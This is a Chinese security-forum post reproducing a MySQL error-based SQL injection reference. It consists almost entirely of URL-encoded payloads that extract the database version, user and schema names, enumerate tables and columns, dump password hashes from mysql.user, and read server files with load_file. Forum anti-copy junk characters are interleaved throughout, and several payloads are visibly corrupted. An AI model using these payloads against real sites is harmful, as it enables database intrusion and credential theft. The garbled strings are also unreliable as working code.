找回密码
 立即注册
查看: 2662|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑
' x3 W! p2 s* P- O, T
$ p8 }- K% h) r2 ~5 E( ]/ V# e8 a9 H, p! M
Mysql暴错注入参考(pdf),每天一贴。。。3 G- h& s9 b* V0 A

! t3 s" O' w& Z- }& [$ P& l2 E5 MMySql Error Based Injection Reference! _1 r3 r+ T4 y! w9 `
[Mysql暴错注入参考]
0 _# o5 N( p8 k- }: l0 k0 oAuthornig0s1992' C/ o1 m/ z* r5 _, M
Blog:http://pnig0s1992.blog.51cto.com/$ X4 x& a5 G8 m) a! v
TeAm:http://www.FreeBuf.com/
& z; K; t( G, k' q' `* O' xMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功* \) o  S3 @! j! }
小部分版本使用name_const()时会报错.可以用给出的Method.2测试- n( K4 T, l+ }: F, I3 p
查询版本:
/ u3 ?/ k1 |- S+ {2 x* `Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
: m# o0 ]5 O; c! O" y7 _$ J4 _5 qjoin+(select+name_const(@@version,0))b)c)
8 c. p7 I# i$ g& d7 QMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro
% F1 ]* k/ @# z5 mup by a)b)# Y$ q+ l- g$ I( o+ ]3 Q
查询当前用户:/ e/ ^; T6 s: R1 `. s. F6 s
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)$ x6 m  _+ y) P" k1 U1 N. `# |
Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
8 G9 M/ u: {+ \. [9 ~and(0)*2))x+from+information_schema.tables+group+by+x)a)9 w/ D2 d1 h! |3 V3 x) b
查询当前数据库:
, u1 n, `* n. L$ ~Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)
+ `( y6 U- l1 T9 ZMethod.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
" L2 d' m: U, a+ S: h/ {1 ]or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
1 Q) y( D1 H" }/ ^: ?# T依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+! r7 C, _  |! d* L$ ?
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n% v# E  }% T8 R0 ]6 G0 A( L
顺序替换
& {2 b, t0 x$ s% _" C( G) [爆指定库数目:1 q4 t& l5 _* v) A$ o+ C  S) K
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t+ y+ ]) K* B0 F7 O3 K: V
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group1 a# f4 ~8 e. K, S! [/ l
+by+x)a)+and+1=1 0x6D7973716C=mysql
* L/ ?7 A' m6 C依次爆表:4 G* W9 V: E9 M1 J2 l7 E
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
. x% j! P; {( u6 b) Eable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta- m' r- H* o1 l8 H; C1 f% n
bles+group+by+x)a)+and+1=1; _7 O( s$ p: G9 I
0x6D7973716C=Mysql 将n顺序替换
$ \# c/ o: a) j- t* w爆表内字段数目:! w) J+ j7 z% s: F
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
, W7 x0 z& a/ H9 y/ U+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran3 B' L% B5 u  Y" z' R
0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
: X, f& ?2 z9 t, r依次爆字段:; r5 v; }- x; ~  B0 O
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where5 s6 D% i  v7 O# ~7 O
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1! h9 A9 U" v) g0 s
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换/ P8 n& A: p& ~9 q$ D: H5 F
依次暴内容:
8 R  V$ u: ~4 g% i  l* kand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche: |6 R+ t7 K6 ?2 n  @- B
ma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=12 q5 P! k6 o" K. O
将n顺序替换
5 K2 x: a7 a1 h* @: M爆文件内容:
2 E, P; u  J# T. D% J* f9 R1 Jand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
  ^) K; _$ K/ v. o# M4 ?from+information_schema.tables+group+by+a)b)
# a; \4 o' V3 }1 o4 H) ~  Q0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
! H( Q1 k" L. y9 qThx for reading.
* _) S8 g3 D4 X2 j- J3 ]) a
( L3 v- O& F- f  `/ A# n不要下载也可以,   N, X/ G8 d! i8 Q; [) h* B4 n5 a

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表